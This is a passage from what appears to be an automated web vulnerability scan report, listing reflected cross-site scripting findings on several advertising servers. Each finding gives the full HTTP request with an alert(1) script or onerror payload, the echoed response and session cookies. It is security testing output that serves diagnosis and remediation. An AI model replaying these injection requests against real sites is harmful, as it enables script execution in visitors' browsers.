Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; srh="1%3Aq64FAA%3D%3D"; geo="1%3ADchBDoIwEIXhu8xaTTspmLJVT4AeYDpDCYlYA2gihLv7Ni%2Ff%2Bzf6emo2Woc3NcTOOX%2FEsqMDLSvSrb2DVkZ4Lnl5yq%2BbToqPOgpq5T2s5QM%2FWnDqX%2BD1As5DD2ZnMZ1TSJVFjsqqIkFqs6xdzSHQvv8B"; b="%3A%3Ax6zw%2Cxews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; fq="86xtm%2C1uo0%7Clkze39"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo5CgY2ODQzMzkYvo6xlxEiKXV1aWQ9NGRhYjdkMzUtYjFkMi05MTVhLWQzYzAtOWQ1N2Y5YzY2YjA3CjQKBjcxMTM4NBiI_srNEyIkYzFlMTMwMWUtM2ExZi00Y2E3LTk4NzAtZjYzNmI1ZjEwZTY2ChwKBjcxMjE1Nhjo2_vjEyIMeHJkNTJ6a3dqdXhoCiMKBjc0MjY5NxjFp47PDiITMjkzMTE0Mjk2MTY0NjYzNDc3NQokCgY3NTMyOTIY0JnqjRMiFEFNLTAwMDAwMDAwMDMwNjIwNDUyCjYKBjc2MjcwMRDvsNDWDBiP7MeqFiIgOTc4OTcyREZBMDYzMDAwRDJDMEU3QTM4MEJGQTFERUMKIQoGNzc5MDQ1GM_BmeATIhExNzY0NzEwODAwNjAzNDA4OQoWCgY3ODI2MDYQ77DQ1gwYj-zHqhYiAAo0CgY4MDYyMDUYwMmGmRUiJDBjMmFlZGU2LTZiYjYtMTFlMC04ZmU2LTAwMjU5MDBhOGZmZQo0CgY4MTA2NDcYycGHhEQiJDU0OTE4OGExLWEwN2MtNDIzMS1iZTk0LTdmNzI1ZTFhMTlmNwowCgY4MzA2OTcYi9eDzQ4iIDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDEAE; rb="0:682865:20838240:null:0:684339:20838240:uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0"; ut="1%3AXZFLkoMgFEX3wtgBYFA7u1FRUfkIaIyG7D1APqU9ow7n8u4rHuCGwfUBxmZblaEWXIFZuVgc0sLmuUMOJgHYAKacRlAzVnQaljcPeTcLh12V2L6XabAqGGMODSMMriQjJnP3vmq8i2midbqvnhSp4Z4g8vVadfK%2BVJyo5Q3nnlTzqlzusir9ifJfnGf9ll0CpXDhx%2FZs8nAf2Gklpo7QjukcLKEliitdhPIrGaFkrKlp8QnH4T05t8TW%2BNi0tVK60iE074ktMfVHg8jwF1%2B8135M0WbiDe%2FHMg0O7zHYfcogvERrJIepWV4fp4IEVKWUjenjX4Ln8wU%3D"; vsd=0@2@4dc93a35@ad.media6degrees.com

Response

HTTP/1.1 400 Bad Request
Accept-Ranges: none
Date: Tue, 10 May 2011 13:51:36 GMT
Server: XPEHb/1.0
Content-Length: 78

Unsupported URL: /adserver/vdi/7627018cdfe<script>alert(1)</script>abfc60c63d0

4.119. http://ads.adsonar.com/adserving/getAds.jsp [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the pid request parameter is copied into the HTML document as plain text between tags. The payload e6b20<script>alert(1)</script>71db4ef3f6d was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1512320&pid=1900770e6b20<script>alert(1)</script>71db4ef3f6d&ps=-1&zw=320&zh=250&url=http%3A//www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html&v=5&dct=Rick%20Santorum%20%E2%80%98doesn%E2%80%99t%20understand%20America%E2%80%99%20-%20Right%20Turn%20-%20The%20Washington%20Post&metakw=snatorum,truce%20not%20about%20america,santorum%20debate HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:18:30 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: policyref="http://ads.adsonar.com/w3c/p3p.xml", CP="NOI DSP LAW NID CURa ADMa DEVa TAIo PSAo PSDo OUR SAMa OTRa IND UNI PUR COM NAV INT DEM STA PRE LOC"
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding,User-Agent
Content-Length: 2511

           <!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 transitional//EN">
           <html>
               <head>
                   <title>Ads by Quigo</title>
                   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...[SNIP]...
</script>


                                           java.lang.NumberFormatException: For input string: "1900770e6b20<script>alert(1)</script>71db4ef3f6d"


                                                           </head>
...[SNIP]...

4.120. http://ads.adsonar.com/adserving/getAds.jsp [placementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the placementId request parameter is copied into an HTML comment. The payload f82af--><script>alert(1)</script>0f69f6f9634 was submitted in the placementId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1512320f82af--><script>alert(1)</script>0f69f6f9634&pid=1900770&ps=-1&zw=320&zh=250&url=http%3A//www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html&v=5&dct=Rick%20Santorum%20%E2%80%98doesn%E2%80%99t%20understand%20America%E2%80%99%20-%20Right%20Turn%20-%20The%20Washington%20Post&metakw=snatorum,truce%20not%20about%20america,santorum%20debate HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:17:51 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3429

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>0f69f6f9634" -->
...[SNIP]...

4.121. http://ads.adsonar.com/adserving/getAds.jsp [ps parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the ps request parameter is copied into an HTML comment. The payload 1884c--><script>alert(1)</script>6f2f7350928 was submitted in the ps parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1512320&pid=1900770&ps=-11884c--><script>alert(1)</script>6f2f7350928&zw=320&zh=250&url=http%3A//www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html&v=5&dct=Rick%20Santorum%20%E2%80%98doesn%E2%80%99t%20understand%20America%E2%80%99%20-%20Right%20Turn%20-%20The%20Washington%20Post&metakw=snatorum,truce%20not%20about%20america,santorum%20debate HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:19:10 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3868

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>6f2f7350928" -->

...[SNIP]...

4.122. http://ads.specificmedia.com/serve/v=5 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.specificmedia.com
Path:	/serve/v=5

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca2c6'-alert(1)-'64506863d6d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /serve/v=5;m=2;l=25167;cxt=811200901:2278864-99003145:2268034-99008493:2265143-104201101:2278864-99011741:2267570-1012201040:2278864-99016158:2288221-1208201001:2290663-21012048:2290663;kw=;ts=70770;smuid=wJ6hSWn821G3dA;p=ui%3DwJ6hSWn821G3dA%3Btr%3DwzKYu5Hfx_D%3Btm%3D0-0&ca2c6'-alert(1)-'64506863d6d=1 HTTP/1.1
Host: ads.specificmedia.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: smu=5066.8100831587120889709; __utmz=257143764.1304557507.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=257143764.1988454597.1304557507.1304557507.1304557507.1

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:45:08 GMT
Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0
Set-cookie: smu=5072.8100831587120889709; domain=.specificmedia.com; path=/; expires=Wed, 13-Apr-2016 17:45:08 GMT
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV"
Content-Length: 498
Expires: Mon, 09 May 2011 17:45:08 GMT
Cache-Control: no-cache,must-revalidate
Pragma: no-cache
Connection: close
Content-Type: application/x-javascript

document.write('<iframe src="http://ads.specificmedia.com/serve/v=5;m=3;l=25167;c=151326;b=898911;ts=20110510134508;p=ui%3DwJ6hSWn821G3dA%3Btr%3DwzKYu5Hfx_D%3Btm%3D0-0&ca2c6'-alert(1)-'64506863d6d=1;cxt=811200901:2278864-99003145:2268034-99008493:2265143-104201101:2278864-99011741:2267570-1012201040:2278864-99016158:2288221-1208201001:2290663-21012048:2290663" width="300" height="250" border="0
...[SNIP]...

4.123. http://ads.trove.com/RevenuePlatform/ad/pong [&callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.trove.com
Path:	/RevenuePlatform/ad/pong

Issue detail

The value of the &callback request parameter is copied into the HTML document as plain text between tags. The payload 5ce54<script>alert(1)</script>b19dbda4815 was submitted in the &callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /RevenuePlatform/ad/pong?&callback=jsonp13050333390265ce54<script>alert(1)</script>b19dbda4815&format=json&url=http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html&ads%5Brev_ad1%5D%5Bwidth%5D=auto&ads%5Brev_ad1%5D%5Bheight%5D=auto&ads%5Brev_ad1%5D%5Bcontainer%5D=rev_ad1&ads%5Brev_ad1%5D%5BcontentDiv%5D=article&ads%5Brev_ad1%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad1%5D%5Bfinder%5D=slateOnEidosWithPics&ads%5Brev_ad2%5D%5Bwidth%5D=auto&ads%5Brev_ad2%5D%5Bheight%5D=auto&ads%5Brev_ad2%5D%5Bcontainer%5D=rev_ad2&ads%5Brev_ad2%5D%5BcontentDiv%5D=article&ads%5Brev_ad2%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad2%5D%5Bfinder%5D=slateOnEidosWithPics&da=&wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c&wapo_login_id=&s_vi=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D HTTP/1.1
Host: ads.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wapo_sess_id=121cff82-e6ee-42bf-92ec-fa8e4b994dec

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Date: Tue, 10 May 2011 13:50:42 GMT
Server: GlassFish Server Open Source Edition 3.1
X-Powered-By: Servlet/3.0 JSP/2.2 (GlassFish Server Open Source Edition 3.1 Java/Sun Microsystems Inc./1.6)
Connection: keep-alive
Content-Length: 9402

jsonp13050333390265ce54<script>alert(1)</script>b19dbda4815({"rev_ad1":{"links":[{"link":{"class":"com.wapo.revenue.Link","id":"b76f7e80-7afa-11e0-b2f6-1231391009d2","additionalFields":{"publicationDate":"2011-05-09T04:00:00Z"},"amountSaved":null,"asin":"","au
...[SNIP]...

4.124. http://ads.trove.com/RevenuePlatform/ad/pong [ads%5Brev_ad1%5D%5Bfinder%5D parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.trove.com
Path:	/RevenuePlatform/ad/pong

Issue detail

The value of the ads%5Brev_ad1%5D%5Bfinder%5D request parameter is copied into the HTML document as plain text between tags. The payload 729eb<img%20src%3da%20onerror%3dalert(1)>4ea6b9a9a81 was submitted in the ads%5Brev_ad1%5D%5Bfinder%5D parameter. This input was echoed as 729eb<img src=a onerror=alert(1)>4ea6b9a9a81 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /RevenuePlatform/ad/pong?&callback=jsonp1305033339026&format=json&url=http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html&ads%5Brev_ad1%5D%5Bwidth%5D=auto&ads%5Brev_ad1%5D%5Bheight%5D=auto&ads%5Brev_ad1%5D%5Bcontainer%5D=rev_ad1&ads%5Brev_ad1%5D%5BcontentDiv%5D=article&ads%5Brev_ad1%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad1%5D%5Bfinder%5D=slateOnEidosWithPics729eb<img%20src%3da%20onerror%3dalert(1)>4ea6b9a9a81&ads%5Brev_ad2%5D%5Bwidth%5D=auto&ads%5Brev_ad2%5D%5Bheight%5D=auto&ads%5Brev_ad2%5D%5Bcontainer%5D=rev_ad2&ads%5Brev_ad2%5D%5BcontentDiv%5D=article&ads%5Brev_ad2%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad2%5D%5Bfinder%5D=slateOnEidosWithPics&da=&wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c&wapo_login_id=&s_vi=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D HTTP/1.1
Host: ads.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wapo_sess_id=121cff82-e6ee-42bf-92ec-fa8e4b994dec

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Date: Tue, 10 May 2011 13:51:26 GMT
Server: GlassFish Server Open Source Edition 3.1
X-Powered-By: Servlet/3.0 JSP/2.2 (GlassFish Server Open Source Edition 3.1 Java/Sun Microsystems Inc./1.6)
Connection: keep-alive
Content-Length: 12299

jsonp1305033339026({"rev_ad1":{"links":[{"link":{"class":"com.wapo.revenue.Link","id":"db9788c2-1e91-11e0-b2f6-1231391009d2","additionalFields":null,"amountSaved":"$5.89","asin":"0071424911","author":
...[SNIP]...
ading with the Heart: Coach K's Successful Strategies for Basketball, Business, and Life","weight":26},"adLinkId":"0025125a-798b-11e0-b2f6-1231391009d2"}],"data":{"finderOptions":{"slateOnEidosWithPics729eb<img src=a onerror=alert(1)>4ea6b9a9a81":"true"},"assocId":"wapo-20","divClass":"washpost-bigbox","widthInPixels":"auto","heightInPixels":"auto","contentId":"contentId","url":"http://www.washingtonpost.com/blogs/right-turn/post/rick-santoru
...[SNIP]...

4.125. http://ads.trove.com/RevenuePlatform/ad/pong [ads%5Brev_ad2%5D%5Bfinder%5D parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.trove.com
Path:	/RevenuePlatform/ad/pong

Issue detail

The value of the ads%5Brev_ad2%5D%5Bfinder%5D request parameter is copied into the HTML document as plain text between tags. The payload 4b466<img%20src%3da%20onerror%3dalert(1)>ee6a8927bbe was submitted in the ads%5Brev_ad2%5D%5Bfinder%5D parameter. This input was echoed as 4b466<img src=a onerror=alert(1)>ee6a8927bbe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /RevenuePlatform/ad/pong?&callback=jsonp1305033339026&format=json&url=http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html&ads%5Brev_ad1%5D%5Bwidth%5D=auto&ads%5Brev_ad1%5D%5Bheight%5D=auto&ads%5Brev_ad1%5D%5Bcontainer%5D=rev_ad1&ads%5Brev_ad1%5D%5BcontentDiv%5D=article&ads%5Brev_ad1%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad1%5D%5Bfinder%5D=slateOnEidosWithPics&ads%5Brev_ad2%5D%5Bwidth%5D=auto&ads%5Brev_ad2%5D%5Bheight%5D=auto&ads%5Brev_ad2%5D%5Bcontainer%5D=rev_ad2&ads%5Brev_ad2%5D%5BcontentDiv%5D=article&ads%5Brev_ad2%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad2%5D%5Bfinder%5D=slateOnEidosWithPics4b466<img%20src%3da%20onerror%3dalert(1)>ee6a8927bbe&da=&wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c&wapo_login_id=&s_vi=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D HTTP/1.1
Host: ads.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wapo_sess_id=121cff82-e6ee-42bf-92ec-fa8e4b994dec

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Date: Tue, 10 May 2011 13:51:56 GMT
Server: GlassFish Server Open Source Edition 3.1
X-Powered-By: Servlet/3.0 JSP/2.2 (GlassFish Server Open Source Edition 3.1 Java/Sun Microsystems Inc./1.6)
Connection: keep-alive
Content-Length: 9405

jsonp1305033339026({"rev_ad1":{"links":[{"link":{"class":"com.wapo.revenue.Link","id":"b76f7e80-7afa-11e0-b2f6-1231391009d2","additionalFields":{"publicationDate":"2011-05-09T04:00:00Z"},"amountSaved"
...[SNIP]...
e","url":"http://www.slate.com/id/2293519?wpisrc=xs_wp_0001","urlDescription":"Obama Mama","weight":0},"adLinkId":"f520bab8-7afb-11e0-b2f6-1231391009d2"}],"data":{"finderOptions":{"slateOnEidosWithPics4b466<img src=a onerror=alert(1)>ee6a8927bbe":"true"},"assocId":"wapo-20","divClass":"module component blogosphere curved img-border","widthInPixels":"auto","heightInPixels":"auto","contentId":"contentId","url":"http://www.washingtonpost.com/blo
...[SNIP]...

4.126. http://ads.trove.com/RevenuePlatform/ad/pong [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.trove.com
Path:	/RevenuePlatform/ad/pong

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload d7989<img%20src%3da%20onerror%3dalert(1)>20c91c72d22 was submitted in the url parameter. This input was echoed as d7989<img src=a onerror=alert(1)>20c91c72d22 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /RevenuePlatform/ad/pong?&callback=jsonp1305033339026&format=json&url=http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.htmld7989<img%20src%3da%20onerror%3dalert(1)>20c91c72d22&ads%5Brev_ad1%5D%5Bwidth%5D=auto&ads%5Brev_ad1%5D%5Bheight%5D=auto&ads%5Brev_ad1%5D%5Bcontainer%5D=rev_ad1&ads%5Brev_ad1%5D%5BcontentDiv%5D=article&ads%5Brev_ad1%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad1%5D%5Bfinder%5D=slateOnEidosWithPics&ads%5Brev_ad2%5D%5Bwidth%5D=auto&ads%5Brev_ad2%5D%5Bheight%5D=auto&ads%5Brev_ad2%5D%5Bcontainer%5D=rev_ad2&ads%5Brev_ad2%5D%5BcontentDiv%5D=article&ads%5Brev_ad2%5D%5BfinderOptions%5D%5BslateOnEidosWithPics%5D=true&ads%5Brev_ad2%5D%5Bfinder%5D=slateOnEidosWithPics&da=&wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c&wapo_login_id=&s_vi=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D HTTP/1.1
Host: ads.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wapo_sess_id=121cff82-e6ee-42bf-92ec-fa8e4b994dec

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Date: Tue, 10 May 2011 13:50:56 GMT
Server: GlassFish v3
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 9449

jsonp1305033339026({"rev_ad1":{"links":[{"link":{"class":"com.wapo.revenue.Link","id":"b773c0a8-7afa-11e0-b2f6-1231391009d2","additionalFields":{"publicationDate":"2011-05-09T04:00:00Z"},"amountSaved"
...[SNIP]...
","widthInPixels":"auto","heightInPixels":"auto","contentId":"contentId","url":"http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.htmld7989<img src=a onerror=alert(1)>20c91c72d22","visId":null,"content":"Obama","keywords":null,"container":"rev_ad1","userId":null,"section":null,"commercialNode":null,"dataAttributes":{}},"adType":"slateCrossSite","adId":"0a1cd438-7b01-11e0-b2f6-
...[SNIP]...

4.127. http://ads.tw.adsonar.com/adserving/getAds.jsp [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the pid request parameter is copied into the HTML document as plain text between tags. The payload 6fe0e<script>alert(1)</script>be9576e53cf was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1515622&pid=22597686fe0e<script>alert(1)</script>be9576e53cf&ps=-1&zw=580&zh=275&url=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&v=5&dct=Rick%20Santorum%20Wins%20South%20Carolina%20Straw%20Poll&metakw=rick,santorum,wins,south,carolina,straw,poll,politics HTTP/1.1
Host: ads.tw.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
